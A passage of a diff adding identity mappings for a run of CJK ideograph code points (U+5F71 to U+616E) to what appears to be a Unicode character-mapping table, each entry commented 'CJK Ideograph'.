+ ["\u5F71", "\u5F71"], /* CJK Ideograph */
+ ["\u5F72", "\u5F72"], /* CJK Ideograph */
+ ["\u5F73", "\u5F73"], /* CJK Ideograph */
+ ["\u5F74", "\u5F74"], /* CJK Ideograph */
+ ["\u5F75", "\u5F75"], /* CJK Ideograph */
+ ["\u5F76", "\u5F76"], /* CJK Ideograph */
+ ["\u5F77", "\u5F77"], /* CJK Ideograph */
+ ["\u5F78", "\u5F78"], /* CJK Ideograph */
+ ["\u5F79", "\u5F79"], /* CJK Ideograph */
+ ["\u5F7A", "\u5F7A"], /* CJK Ideograph */
+ ["\u5F7B", "\u5F7B"], /* CJK Ideograph */
+ ["\u5F7C", "\u5F7C"], /* CJK Ideograph */
+ ["\u5F7D", "\u5F7D"], /* CJK Ideograph */
+ ["\u5F7E", "\u5F7E"], /* CJK Ideograph */
+ ["\u5F7F", "\u5F7F"], /* CJK Ideograph */
+ ["\u5F80", "\u5F80"], /* CJK Ideograph */
+ ["\u5F81", "\u5F81"], /* CJK Ideograph */
+ ["\u5F82", "\u5F82"], /* CJK Ideograph */
+ ["\u5F83", "\u5F83"], /* CJK Ideograph */
+ ["\u5F84", "\u5F84"], /* CJK Ideograph */
+ ["\u5F85", "\u5F85"], /* CJK Ideograph */
+ ["\u5F86", "\u5F86"], /* CJK Ideograph */
+ ["\u5F87", "\u5F87"], /* CJK Ideograph */
+ ["\u5F88", "\u5F88"], /* CJK Ideograph */
+ ["\u5F89", "\u5F89"], /* CJK Ideograph */
+ ["\u5F8A", "\u5F8A"], /* CJK Ideograph */
+ ["\u5F8B", "\u5F8B"], /* CJK Ideograph */
+ ["\u5F8C", "\u5F8C"], /* CJK Ideograph */
+ ["\u5F8D", "\u5F8D"], /* CJK Ideograph */
+ ["\u5F8E", "\u5F8E"], /* CJK Ideograph */
+ ["\u5F8F", "\u5F8F"], /* CJK Ideograph */
+ ["\u5F90", "\u5F90"], /* CJK Ideograph */
+ ["\u5F91", "\u5F91"], /* CJK Ideograph */
+ ["\u5F92", "\u5F92"], /* CJK Ideograph */
+ ["\u5F93", "\u5F93"], /* CJK Ideograph */
+ ["\u5F94", "\u5F94"], /* CJK Ideograph */
+ ["\u5F95", "\u5F95"], /* CJK Ideograph */
+ ["\u5F96", "\u5F96"], /* CJK Ideograph */
+ ["\u5F97", "\u5F97"], /* CJK Ideograph */
+ ["\u5F98", "\u5F98"], /* CJK Ideograph */
+ ["\u5F99", "\u5F99"], /* CJK Ideograph */
+ ["\u5F9A", "\u5F9A"], /* CJK Ideograph */
+ ["\u5F9B", "\u5F9B"], /* CJK Ideograph */
+ ["\u5F9C", "\u5F9C"], /* CJK Ideograph */
+ ["\u5F9D", "\u5F9D"], /* CJK Ideograph */
+ ["\u5F9E", "\u5F9E"], /* CJK Ideograph */
+ ["\u5F9F", "\u5F9F"], /* CJK Ideograph */
+ ["\u5FA0", "\u5FA0"], /* CJK Ideograph */
+ ["\u5FA1", "\u5FA1"], /* CJK Ideograph */
+ ["\u5FA2", "\u5FA2"], /* CJK Ideograph */
+ ["\u5FA3", "\u5FA3"], /* CJK Ideograph */
+ ["\u5FA4", "\u5FA4"], /* CJK Ideograph */
+ ["\u5FA5", "\u5FA5"], /* CJK Ideograph */
+ ["\u5FA6", "\u5FA6"], /* CJK Ideograph */
+ ["\u5FA7", "\u5FA7"], /* CJK Ideograph */
+ ["\u5FA8", "\u5FA8"], /* CJK Ideograph */
+ ["\u5FA9", "\u5FA9"], /* CJK Ideograph */
+ ["\u5FAA", "\u5FAA"], /* CJK Ideograph */
+ ["\u5FAB", "\u5FAB"], /* CJK Ideograph */
+ ["\u5FAC", "\u5FAC"], /* CJK Ideograph */
+ ["\u5FAD", "\u5FAD"], /* CJK Ideograph */
+ ["\u5FAE", "\u5FAE"], /* CJK Ideograph */
+ ["\u5FAF", "\u5FAF"], /* CJK Ideograph */
+ ["\u5FB0", "\u5FB0"], /* CJK Ideograph */
+ ["\u5FB1", "\u5FB1"], /* CJK Ideograph */
+ ["\u5FB2", "\u5FB2"], /* CJK Ideograph */
+ ["\u5FB3", "\u5FB3"], /* CJK Ideograph */
+ ["\u5FB4", "\u5FB4"], /* CJK Ideograph */
+ ["\u5FB5", "\u5FB5"], /* CJK Ideograph */
+ ["\u5FB6", "\u5FB6"], /* CJK Ideograph */
+ ["\u5FB7", "\u5FB7"], /* CJK Ideograph */
+ ["\u5FB8", "\u5FB8"], /* CJK Ideograph */
+ ["\u5FB9", "\u5FB9"], /* CJK Ideograph */
+ ["\u5FBA", "\u5FBA"], /* CJK Ideograph */
+ ["\u5FBB", "\u5FBB"], /* CJK Ideograph */
+ ["\u5FBC", "\u5FBC"], /* CJK Ideograph */
+ ["\u5FBD", "\u5FBD"], /* CJK Ideograph */
+ ["\u5FBE", "\u5FBE"], /* CJK Ideograph */
+ ["\u5FBF", "\u5FBF"], /* CJK Ideograph */
+ ["\u5FC0", "\u5FC0"], /* CJK Ideograph */
+ ["\u5FC1", "\u5FC1"], /* CJK Ideograph */
+ ["\u5FC2", "\u5FC2"], /* CJK Ideograph */
+ ["\u5FC3", "\u5FC3"], /* CJK Ideograph */
+ ["\u5FC4", "\u5FC4"], /* CJK Ideograph */
+ ["\u5FC5", "\u5FC5"], /* CJK Ideograph */
+ ["\u5FC6", "\u5FC6"], /* CJK Ideograph */
+ ["\u5FC7", "\u5FC7"], /* CJK Ideograph */
+ ["\u5FC8", "\u5FC8"], /* CJK Ideograph */
+ ["\u5FC9", "\u5FC9"], /* CJK Ideograph */
+ ["\u5FCA", "\u5FCA"], /* CJK Ideograph */
+ ["\u5FCB", "\u5FCB"], /* CJK Ideograph */
+ ["\u5FCC", "\u5FCC"], /* CJK Ideograph */
+ ["\u5FCD", "\u5FCD"], /* CJK Ideograph */
+ ["\u5FCE", "\u5FCE"], /* CJK Ideograph */
+ ["\u5FCF", "\u5FCF"], /* CJK Ideograph */
+ ["\u5FD0", "\u5FD0"], /* CJK Ideograph */
+ ["\u5FD1", "\u5FD1"], /* CJK Ideograph */
+ ["\u5FD2", "\u5FD2"], /* CJK Ideograph */
+ ["\u5FD3", "\u5FD3"], /* CJK Ideograph */
+ ["\u5FD4", "\u5FD4"], /* CJK Ideograph */
+ ["\u5FD5", "\u5FD5"], /* CJK Ideograph */
+ ["\u5FD6", "\u5FD6"], /* CJK Ideograph */
+ ["\u5FD7", "\u5FD7"], /* CJK Ideograph */
+ ["\u5FD8", "\u5FD8"], /* CJK Ideograph */
+ ["\u5FD9", "\u5FD9"], /* CJK Ideograph */
+ ["\u5FDA", "\u5FDA"], /* CJK Ideograph */
+ ["\u5FDB", "\u5FDB"], /* CJK Ideograph */
+ ["\u5FDC", "\u5FDC"], /* CJK Ideograph */
+ ["\u5FDD", "\u5FDD"], /* CJK Ideograph */
+ ["\u5FDE", "\u5FDE"], /* CJK Ideograph */
+ ["\u5FDF", "\u5FDF"], /* CJK Ideograph */
+ ["\u5FE0", "\u5FE0"], /* CJK Ideograph */
+ ["\u5FE1", "\u5FE1"], /* CJK Ideograph */
+ ["\u5FE2", "\u5FE2"], /* CJK Ideograph */
+ ["\u5FE3", "\u5FE3"], /* CJK Ideograph */
+ ["\u5FE4", "\u5FE4"], /* CJK Ideograph */
+ ["\u5FE5", "\u5FE5"], /* CJK Ideograph */
+ ["\u5FE6", "\u5FE6"], /* CJK Ideograph */
+ ["\u5FE7", "\u5FE7"], /* CJK Ideograph */
+ ["\u5FE8", "\u5FE8"], /* CJK Ideograph */
+ ["\u5FE9", "\u5FE9"], /* CJK Ideograph */
+ ["\u5FEA", "\u5FEA"], /* CJK Ideograph */
+ ["\u5FEB", "\u5FEB"], /* CJK Ideograph */
+ ["\u5FEC", "\u5FEC"], /* CJK Ideograph */
+ ["\u5FED", "\u5FED"], /* CJK Ideograph */
+ ["\u5FEE", "\u5FEE"], /* CJK Ideograph */
+ ["\u5FEF", "\u5FEF"], /* CJK Ideograph */
+ ["\u5FF0", "\u5FF0"], /* CJK Ideograph */
+ ["\u5FF1", "\u5FF1"], /* CJK Ideograph */
+ ["\u5FF2", "\u5FF2"], /* CJK Ideograph */
+ ["\u5FF3", "\u5FF3"], /* CJK Ideograph */
+ ["\u5FF4", "\u5FF4"], /* CJK Ideograph */
+ ["\u5FF5", "\u5FF5"], /* CJK Ideograph */
+ ["\u5FF6", "\u5FF6"], /* CJK Ideograph */
+ ["\u5FF7", "\u5FF7"], /* CJK Ideograph */
+ ["\u5FF8", "\u5FF8"], /* CJK Ideograph */
+ ["\u5FF9", "\u5FF9"], /* CJK Ideograph */
+ ["\u5FFA", "\u5FFA"], /* CJK Ideograph */
+ ["\u5FFB", "\u5FFB"], /* CJK Ideograph */
+ ["\u5FFC", "\u5FFC"], /* CJK Ideograph */
+ ["\u5FFD", "\u5FFD"], /* CJK Ideograph */
+ ["\u5FFE", "\u5FFE"], /* CJK Ideograph */
+ ["\u5FFF", "\u5FFF"], /* CJK Ideograph */
+ ["\u6000", "\u6000"], /* CJK Ideograph */
+ ["\u6001", "\u6001"], /* CJK Ideograph */
+ ["\u6002", "\u6002"], /* CJK Ideograph */
+ ["\u6003", "\u6003"], /* CJK Ideograph */
+ ["\u6004", "\u6004"], /* CJK Ideograph */
+ ["\u6005", "\u6005"], /* CJK Ideograph */
+ ["\u6006", "\u6006"], /* CJK Ideograph */
+ ["\u6007", "\u6007"], /* CJK Ideograph */
+ ["\u6008", "\u6008"], /* CJK Ideograph */
+ ["\u6009", "\u6009"], /* CJK Ideograph */
+ ["\u600A", "\u600A"], /* CJK Ideograph */
+ ["\u600B", "\u600B"], /* CJK Ideograph */
+ ["\u600C", "\u600C"], /* CJK Ideograph */
+ ["\u600D", "\u600D"], /* CJK Ideograph */
+ ["\u600E", "\u600E"], /* CJK Ideograph */
+ ["\u600F", "\u600F"], /* CJK Ideograph */
+ ["\u6010", "\u6010"], /* CJK Ideograph */
+ ["\u6011", "\u6011"], /* CJK Ideograph */
+ ["\u6012", "\u6012"], /* CJK Ideograph */
+ ["\u6013", "\u6013"], /* CJK Ideograph */
+ ["\u6014", "\u6014"], /* CJK Ideograph */
+ ["\u6015", "\u6015"], /* CJK Ideograph */
+ ["\u6016", "\u6016"], /* CJK Ideograph */
+ ["\u6017", "\u6017"], /* CJK Ideograph */
+ ["\u6018", "\u6018"], /* CJK Ideograph */
+ ["\u6019", "\u6019"], /* CJK Ideograph */
+ ["\u601A", "\u601A"], /* CJK Ideograph */
+ ["\u601B", "\u601B"], /* CJK Ideograph */
+ ["\u601C", "\u601C"], /* CJK Ideograph */
+ ["\u601D", "\u601D"], /* CJK Ideograph */
+ ["\u601E", "\u601E"], /* CJK Ideograph */
+ ["\u601F", "\u601F"], /* CJK Ideograph */
+ ["\u6020", "\u6020"], /* CJK Ideograph */
+ ["\u6021", "\u6021"], /* CJK Ideograph */
+ ["\u6022", "\u6022"], /* CJK Ideograph */
+ ["\u6023", "\u6023"], /* CJK Ideograph */
+ ["\u6024", "\u6024"], /* CJK Ideograph */
+ ["\u6025", "\u6025"], /* CJK Ideograph */
+ ["\u6026", "\u6026"], /* CJK Ideograph */
+ ["\u6027", "\u6027"], /* CJK Ideograph */
+ ["\u6028", "\u6028"], /* CJK Ideograph */
+ ["\u6029", "\u6029"], /* CJK Ideograph */
+ ["\u602A", "\u602A"], /* CJK Ideograph */
+ ["\u602B", "\u602B"], /* CJK Ideograph */
+ ["\u602C", "\u602C"], /* CJK Ideograph */
+ ["\u602D", "\u602D"], /* CJK Ideograph */
+ ["\u602E", "\u602E"], /* CJK Ideograph */
+ ["\u602F", "\u602F"], /* CJK Ideograph */
+ ["\u6030", "\u6030"], /* CJK Ideograph */
+ ["\u6031", "\u6031"], /* CJK Ideograph */
+ ["\u6032", "\u6032"], /* CJK Ideograph */
+ ["\u6033", "\u6033"], /* CJK Ideograph */
+ ["\u6034", "\u6034"], /* CJK Ideograph */
+ ["\u6035", "\u6035"], /* CJK Ideograph */
+ ["\u6036", "\u6036"], /* CJK Ideograph */
+ ["\u6037", "\u6037"], /* CJK Ideograph */
+ ["\u6038", "\u6038"], /* CJK Ideograph */
+ ["\u6039", "\u6039"], /* CJK Ideograph */
+ ["\u603A", "\u603A"], /* CJK Ideograph */
+ ["\u603B", "\u603B"], /* CJK Ideograph */
+ ["\u603C", "\u603C"], /* CJK Ideograph */
+ ["\u603D", "\u603D"], /* CJK Ideograph */
+ ["\u603E", "\u603E"], /* CJK Ideograph */
+ ["\u603F", "\u603F"], /* CJK Ideograph */
+ ["\u6040", "\u6040"], /* CJK Ideograph */
+ ["\u6041", "\u6041"], /* CJK Ideograph */
+ ["\u6042", "\u6042"], /* CJK Ideograph */
+ ["\u6043", "\u6043"], /* CJK Ideograph */
+ ["\u6044", "\u6044"], /* CJK Ideograph */
+ ["\u6045", "\u6045"], /* CJK Ideograph */
+ ["\u6046", "\u6046"], /* CJK Ideograph */
+ ["\u6047", "\u6047"], /* CJK Ideograph */
+ ["\u6048", "\u6048"], /* CJK Ideograph */
+ ["\u6049", "\u6049"], /* CJK Ideograph */
+ ["\u604A", "\u604A"], /* CJK Ideograph */
+ ["\u604B", "\u604B"], /* CJK Ideograph */
+ ["\u604C", "\u604C"], /* CJK Ideograph */
+ ["\u604D", "\u604D"], /* CJK Ideograph */
+ ["\u604E", "\u604E"], /* CJK Ideograph */
+ ["\u604F", "\u604F"], /* CJK Ideograph */
+ ["\u6050", "\u6050"], /* CJK Ideograph */
+ ["\u6051", "\u6051"], /* CJK Ideograph */
+ ["\u6052", "\u6052"], /* CJK Ideograph */
+ ["\u6053", "\u6053"], /* CJK Ideograph */
+ ["\u6054", "\u6054"], /* CJK Ideograph */
+ ["\u6055", "\u6055"], /* CJK Ideograph */
+ ["\u6056", "\u6056"], /* CJK Ideograph */
+ ["\u6057", "\u6057"], /* CJK Ideograph */
+ ["\u6058", "\u6058"], /* CJK Ideograph */
+ ["\u6059", "\u6059"], /* CJK Ideograph */
+ ["\u605A", "\u605A"], /* CJK Ideograph */
+ ["\u605B", "\u605B"], /* CJK Ideograph */
+ ["\u605C", "\u605C"], /* CJK Ideograph */
+ ["\u605D", "\u605D"], /* CJK Ideograph */
+ ["\u605E", "\u605E"], /* CJK Ideograph */
+ ["\u605F", "\u605F"], /* CJK Ideograph */
+ ["\u6060", "\u6060"], /* CJK Ideograph */
+ ["\u6061", "\u6061"], /* CJK Ideograph */
+ ["\u6062", "\u6062"], /* CJK Ideograph */
+ ["\u6063", "\u6063"], /* CJK Ideograph */
+ ["\u6064", "\u6064"], /* CJK Ideograph */
+ ["\u6065", "\u6065"], /* CJK Ideograph */
+ ["\u6066", "\u6066"], /* CJK Ideograph */
+ ["\u6067", "\u6067"], /* CJK Ideograph */
+ ["\u6068", "\u6068"], /* CJK Ideograph */
+ ["\u6069", "\u6069"], /* CJK Ideograph */
+ ["\u606A", "\u606A"], /* CJK Ideograph */
+ ["\u606B", "\u606B"], /* CJK Ideograph */
+ ["\u606C", "\u606C"], /* CJK Ideograph */
+ ["\u606D", "\u606D"], /* CJK Ideograph */
+ ["\u606E", "\u606E"], /* CJK Ideograph */
+ ["\u606F", "\u606F"], /* CJK Ideograph */
+ ["\u6070", "\u6070"], /* CJK Ideograph */
+ ["\u6071", "\u6071"], /* CJK Ideograph */
+ ["\u6072", "\u6072"], /* CJK Ideograph */
+ ["\u6073", "\u6073"], /* CJK Ideograph */
+ ["\u6074", "\u6074"], /* CJK Ideograph */
+ ["\u6075", "\u6075"], /* CJK Ideograph */
+ ["\u6076", "\u6076"], /* CJK Ideograph */
+ ["\u6077", "\u6077"], /* CJK Ideograph */
+ ["\u6078", "\u6078"], /* CJK Ideograph */
+ ["\u6079", "\u6079"], /* CJK Ideograph */
+ ["\u607A", "\u607A"], /* CJK Ideograph */
+ ["\u607B", "\u607B"], /* CJK Ideograph */
+ ["\u607C", "\u607C"], /* CJK Ideograph */
+ ["\u607D", "\u607D"], /* CJK Ideograph */
+ ["\u607E", "\u607E"], /* CJK Ideograph */
+ ["\u607F", "\u607F"], /* CJK Ideograph */
+ ["\u6080", "\u6080"], /* CJK Ideograph */
+ ["\u6081", "\u6081"], /* CJK Ideograph */
+ ["\u6082", "\u6082"], /* CJK Ideograph */
+ ["\u6083", "\u6083"], /* CJK Ideograph */
+ ["\u6084", "\u6084"], /* CJK Ideograph */
+ ["\u6085", "\u6085"], /* CJK Ideograph */
+ ["\u6086", "\u6086"], /* CJK Ideograph */
+ ["\u6087", "\u6087"], /* CJK Ideograph */
+ ["\u6088", "\u6088"], /* CJK Ideograph */
+ ["\u6089", "\u6089"], /* CJK Ideograph */
+ ["\u608A", "\u608A"], /* CJK Ideograph */
+ ["\u608B", "\u608B"], /* CJK Ideograph */
+ ["\u608C", "\u608C"], /* CJK Ideograph */
+ ["\u608D", "\u608D"], /* CJK Ideograph */
+ ["\u608E", "\u608E"], /* CJK Ideograph */
+ ["\u608F", "\u608F"], /* CJK Ideograph */
+ ["\u6090", "\u6090"], /* CJK Ideograph */
+ ["\u6091", "\u6091"], /* CJK Ideograph */
+ ["\u6092", "\u6092"], /* CJK Ideograph */
+ ["\u6093", "\u6093"], /* CJK Ideograph */
+ ["\u6094", "\u6094"], /* CJK Ideograph */
+ ["\u6095", "\u6095"], /* CJK Ideograph */
+ ["\u6096", "\u6096"], /* CJK Ideograph */
+ ["\u6097", "\u6097"], /* CJK Ideograph */
+ ["\u6098", "\u6098"], /* CJK Ideograph */
+ ["\u6099", "\u6099"], /* CJK Ideograph */
+ ["\u609A", "\u609A"], /* CJK Ideograph */
+ ["\u609B", "\u609B"], /* CJK Ideograph */
+ ["\u609C", "\u609C"], /* CJK Ideograph */
+ ["\u609D", "\u609D"], /* CJK Ideograph */
+ ["\u609E", "\u609E"], /* CJK Ideograph */
+ ["\u609F", "\u609F"], /* CJK Ideograph */
+ ["\u60A0", "\u60A0"], /* CJK Ideograph */
+ ["\u60A1", "\u60A1"], /* CJK Ideograph */
+ ["\u60A2", "\u60A2"], /* CJK Ideograph */
+ ["\u60A3", "\u60A3"], /* CJK Ideograph */
+ ["\u60A4", "\u60A4"], /* CJK Ideograph */
+ ["\u60A5", "\u60A5"], /* CJK Ideograph */
+ ["\u60A6", "\u60A6"], /* CJK Ideograph */
+ ["\u60A7", "\u60A7"], /* CJK Ideograph */
+ ["\u60A8", "\u60A8"], /* CJK Ideograph */
+ ["\u60A9", "\u60A9"], /* CJK Ideograph */
+ ["\u60AA", "\u60AA"], /* CJK Ideograph */
+ ["\u60AB", "\u60AB"], /* CJK Ideograph */
+ ["\u60AC", "\u60AC"], /* CJK Ideograph */
+ ["\u60AD", "\u60AD"], /* CJK Ideograph */
+ ["\u60AE", "\u60AE"], /* CJK Ideograph */
+ ["\u60AF", "\u60AF"], /* CJK Ideograph */
+ ["\u60B0", "\u60B0"], /* CJK Ideograph */
+ ["\u60B1", "\u60B1"], /* CJK Ideograph */
+ ["\u60B2", "\u60B2"], /* CJK Ideograph */
+ ["\u60B3", "\u60B3"], /* CJK Ideograph */
+ ["\u60B4", "\u60B4"], /* CJK Ideograph */
+ ["\u60B5", "\u60B5"], /* CJK Ideograph */
+ ["\u60B6", "\u60B6"], /* CJK Ideograph */
+ ["\u60B7", "\u60B7"], /* CJK Ideograph */
+ ["\u60B8", "\u60B8"], /* CJK Ideograph */
+ ["\u60B9", "\u60B9"], /* CJK Ideograph */
+ ["\u60BA", "\u60BA"], /* CJK Ideograph */
+ ["\u60BB", "\u60BB"], /* CJK Ideograph */
+ ["\u60BC", "\u60BC"], /* CJK Ideograph */
+ ["\u60BD", "\u60BD"], /* CJK Ideograph */
+ ["\u60BE", "\u60BE"], /* CJK Ideograph */
+ ["\u60BF", "\u60BF"], /* CJK Ideograph */
+ ["\u60C0", "\u60C0"], /* CJK Ideograph */
+ ["\u60C1", "\u60C1"], /* CJK Ideograph */
+ ["\u60C2", "\u60C2"], /* CJK Ideograph */
+ ["\u60C3", "\u60C3"], /* CJK Ideograph */
+ ["\u60C4", "\u60C4"], /* CJK Ideograph */
+ ["\u60C5", "\u60C5"], /* CJK Ideograph */
+ ["\u60C6", "\u60C6"], /* CJK Ideograph */
+ ["\u60C7", "\u60C7"], /* CJK Ideograph */
+ ["\u60C8", "\u60C8"], /* CJK Ideograph */
+ ["\u60C9", "\u60C9"], /* CJK Ideograph */
+ ["\u60CA", "\u60CA"], /* CJK Ideograph */
+ ["\u60CB", "\u60CB"], /* CJK Ideograph */
+ ["\u60CC", "\u60CC"], /* CJK Ideograph */
+ ["\u60CD", "\u60CD"], /* CJK Ideograph */
+ ["\u60CE", "\u60CE"], /* CJK Ideograph */
+ ["\u60CF", "\u60CF"], /* CJK Ideograph */
+ ["\u60D0", "\u60D0"], /* CJK Ideograph */
+ ["\u60D1", "\u60D1"], /* CJK Ideograph */
+ ["\u60D2", "\u60D2"], /* CJK Ideograph */
+ ["\u60D3", "\u60D3"], /* CJK Ideograph */
+ ["\u60D4", "\u60D4"], /* CJK Ideograph */
+ ["\u60D5", "\u60D5"], /* CJK Ideograph */
+ ["\u60D6", "\u60D6"], /* CJK Ideograph */
+ ["\u60D7", "\u60D7"], /* CJK Ideograph */
+ ["\u60D8", "\u60D8"], /* CJK Ideograph */
+ ["\u60D9", "\u60D9"], /* CJK Ideograph */
+ ["\u60DA", "\u60DA"], /* CJK Ideograph */
+ ["\u60DB", "\u60DB"], /* CJK Ideograph */
+ ["\u60DC", "\u60DC"], /* CJK Ideograph */
+ ["\u60DD", "\u60DD"], /* CJK Ideograph */
+ ["\u60DE", "\u60DE"], /* CJK Ideograph */
+ ["\u60DF", "\u60DF"], /* CJK Ideograph */
+ ["\u60E0", "\u60E0"], /* CJK Ideograph */
+ ["\u60E1", "\u60E1"], /* CJK Ideograph */
+ ["\u60E2", "\u60E2"], /* CJK Ideograph */
+ ["\u60E3", "\u60E3"], /* CJK Ideograph */
+ ["\u60E4", "\u60E4"], /* CJK Ideograph */
+ ["\u60E5", "\u60E5"], /* CJK Ideograph */
+ ["\u60E6", "\u60E6"], /* CJK Ideograph */
+ ["\u60E7", "\u60E7"], /* CJK Ideograph */
+ ["\u60E8", "\u60E8"], /* CJK Ideograph */
+ ["\u60E9", "\u60E9"], /* CJK Ideograph */
+ ["\u60EA", "\u60EA"], /* CJK Ideograph */
+ ["\u60EB", "\u60EB"], /* CJK Ideograph */
+ ["\u60EC", "\u60EC"], /* CJK Ideograph */
+ ["\u60ED", "\u60ED"], /* CJK Ideograph */
+ ["\u60EE", "\u60EE"], /* CJK Ideograph */
+ ["\u60EF", "\u60EF"], /* CJK Ideograph */
+ ["\u60F0", "\u60F0"], /* CJK Ideograph */
+ ["\u60F1", "\u60F1"], /* CJK Ideograph */
+ ["\u60F2", "\u60F2"], /* CJK Ideograph */
+ ["\u60F3", "\u60F3"], /* CJK Ideograph */
+ ["\u60F4", "\u60F4"], /* CJK Ideograph */
+ ["\u60F5", "\u60F5"], /* CJK Ideograph */
+ ["\u60F6", "\u60F6"], /* CJK Ideograph */
+ ["\u60F7", "\u60F7"], /* CJK Ideograph */
+ ["\u60F8", "\u60F8"], /* CJK Ideograph */
+ ["\u60F9", "\u60F9"], /* CJK Ideograph */
+ ["\u60FA", "\u60FA"], /* CJK Ideograph */
+ ["\u60FB", "\u60FB"], /* CJK Ideograph */
+ ["\u60FC", "\u60FC"], /* CJK Ideograph */
+ ["\u60FD", "\u60FD"], /* CJK Ideograph */
+ ["\u60FE", "\u60FE"], /* CJK Ideograph */
+ ["\u60FF", "\u60FF"], /* CJK Ideograph */
+ ["\u6100", "\u6100"], /* CJK Ideograph */
+ ["\u6101", "\u6101"], /* CJK Ideograph */
+ ["\u6102", "\u6102"], /* CJK Ideograph */
+ ["\u6103", "\u6103"], /* CJK Ideograph */
+ ["\u6104", "\u6104"], /* CJK Ideograph */
+ ["\u6105", "\u6105"], /* CJK Ideograph */
+ ["\u6106", "\u6106"], /* CJK Ideograph */
+ ["\u6107", "\u6107"], /* CJK Ideograph */
+ ["\u6108", "\u6108"], /* CJK Ideograph */
+ ["\u6109", "\u6109"], /* CJK Ideograph */
+ ["\u610A", "\u610A"], /* CJK Ideograph */
+ ["\u610B", "\u610B"], /* CJK Ideograph */
+ ["\u610C", "\u610C"], /* CJK Ideograph */
+ ["\u610D", "\u610D"], /* CJK Ideograph */
+ ["\u610E", "\u610E"], /* CJK Ideograph */
+ ["\u610F", "\u610F"], /* CJK Ideograph */
+ ["\u6110", "\u6110"], /* CJK Ideograph */
+ ["\u6111", "\u6111"], /* CJK Ideograph */
+ ["\u6112", "\u6112"], /* CJK Ideograph */
+ ["\u6113", "\u6113"], /* CJK Ideograph */
+ ["\u6114", "\u6114"], /* CJK Ideograph */
+ ["\u6115", "\u6115"], /* CJK Ideograph */
+ ["\u6116", "\u6116"], /* CJK Ideograph */
+ ["\u6117", "\u6117"], /* CJK Ideograph */
+ ["\u6118", "\u6118"], /* CJK Ideograph */
+ ["\u6119", "\u6119"], /* CJK Ideograph */
+ ["\u611A", "\u611A"], /* CJK Ideograph */
+ ["\u611B", "\u611B"], /* CJK Ideograph */
+ ["\u611C", "\u611C"], /* CJK Ideograph */
+ ["\u611D", "\u611D"], /* CJK Ideograph */
+ ["\u611E", "\u611E"], /* CJK Ideograph */
+ ["\u611F", "\u611F"], /* CJK Ideograph */
+ ["\u6120", "\u6120"], /* CJK Ideograph */
+ ["\u6121", "\u6121"], /* CJK Ideograph */
+ ["\u6122", "\u6122"], /* CJK Ideograph */
+ ["\u6123", "\u6123"], /* CJK Ideograph */
+ ["\u6124", "\u6124"], /* CJK Ideograph */
+ ["\u6125", "\u6125"], /* CJK Ideograph */
+ ["\u6126", "\u6126"], /* CJK Ideograph */
+ ["\u6127", "\u6127"], /* CJK Ideograph */
+ ["\u6128", "\u6128"], /* CJK Ideograph */
+ ["\u6129", "\u6129"], /* CJK Ideograph */
+ ["\u612A", "\u612A"], /* CJK Ideograph */
+ ["\u612B", "\u612B"], /* CJK Ideograph */
+ ["\u612C", "\u612C"], /* CJK Ideograph */
+ ["\u612D", "\u612D"], /* CJK Ideograph */
+ ["\u612E", "\u612E"], /* CJK Ideograph */
+ ["\u612F", "\u612F"], /* CJK Ideograph */
+ ["\u6130", "\u6130"], /* CJK Ideograph */
+ ["\u6131", "\u6131"], /* CJK Ideograph */
+ ["\u6132", "\u6132"], /* CJK Ideograph */
+ ["\u6133", "\u6133"], /* CJK Ideograph */
+ ["\u6134", "\u6134"], /* CJK Ideograph */
+ ["\u6135", "\u6135"], /* CJK Ideograph */
+ ["\u6136", "\u6136"], /* CJK Ideograph */
+ ["\u6137", "\u6137"], /* CJK Ideograph */
+ ["\u6138", "\u6138"], /* CJK Ideograph */
+ ["\u6139", "\u6139"], /* CJK Ideograph */
+ ["\u613A", "\u613A"], /* CJK Ideograph */
+ ["\u613B", "\u613B"], /* CJK Ideograph */
+ ["\u613C", "\u613C"], /* CJK Ideograph */
+ ["\u613D", "\u613D"], /* CJK Ideograph */
+ ["\u613E", "\u613E"], /* CJK Ideograph */
+ ["\u613F", "\u613F"], /* CJK Ideograph */
+ ["\u6140", "\u6140"], /* CJK Ideograph */
+ ["\u6141", "\u6141"], /* CJK Ideograph */
+ ["\u6142", "\u6142"], /* CJK Ideograph */
+ ["\u6143", "\u6143"], /* CJK Ideograph */
+ ["\u6144", "\u6144"], /* CJK Ideograph */
+ ["\u6145", "\u6145"], /* CJK Ideograph */
+ ["\u6146", "\u6146"], /* CJK Ideograph */
+ ["\u6147", "\u6147"], /* CJK Ideograph */
+ ["\u6148", "\u6148"], /* CJK Ideograph */
+ ["\u6149", "\u6149"], /* CJK Ideograph */
+ ["\u614A", "\u614A"], /* CJK Ideograph */
+ ["\u614B", "\u614B"], /* CJK Ideograph */
+ ["\u614C", "\u614C"], /* CJK Ideograph */
+ ["\u614D", "\u614D"], /* CJK Ideograph */
+ ["\u614E", "\u614E"], /* CJK Ideograph */
+ ["\u614F", "\u614F"], /* CJK Ideograph */
+ ["\u6150", "\u6150"], /* CJK Ideograph */
+ ["\u6151", "\u6151"], /* CJK Ideograph */
+ ["\u6152", "\u6152"], /* CJK Ideograph */
+ ["\u6153", "\u6153"], /* CJK Ideograph */
+ ["\u6154", "\u6154"], /* CJK Ideograph */
+ ["\u6155", "\u6155"], /* CJK Ideograph */
+ ["\u6156", "\u6156"], /* CJK Ideograph */
+ ["\u6157", "\u6157"], /* CJK Ideograph */
+ ["\u6158", "\u6158"], /* CJK Ideograph */
+ ["\u6159", "\u6159"], /* CJK Ideograph */
+ ["\u615A", "\u615A"], /* CJK Ideograph */
+ ["\u615B", "\u615B"], /* CJK Ideograph */
+ ["\u615C", "\u615C"], /* CJK Ideograph */
+ ["\u615D", "\u615D"], /* CJK Ideograph */
+ ["\u615E", "\u615E"], /* CJK Ideograph */
+ ["\u615F", "\u615F"], /* CJK Ideograph */
+ ["\u6160", "\u6160"], /* CJK Ideograph */
+ ["\u6161", "\u6161"], /* CJK Ideograph */
+ ["\u6162", "\u6162"], /* CJK Ideograph */
+ ["\u6163", "\u6163"], /* CJK Ideograph */
+ ["\u6164", "\u6164"], /* CJK Ideograph */
+ ["\u6165", "\u6165"], /* CJK Ideograph */
+ ["\u6166", "\u6166"], /* CJK Ideograph */
+ ["\u6167", "\u6167"], /* CJK Ideograph */
+ ["\u6168", "\u6168"], /* CJK Ideograph */
+ ["\u6169", "\u6169"], /* CJK Ideograph */
+ ["\u616A", "\u616A"], /* CJK Ideograph */
+ ["\u616B", "\u616B"], /* CJK Ideograph */
+ ["\u616C", "\u616C"], /* CJK Ideograph */
+ ["\u616D", "\u616D"], /* CJK Ideograph */
+ ["\u616E", "\u616E"], /* CJK Ideograph */
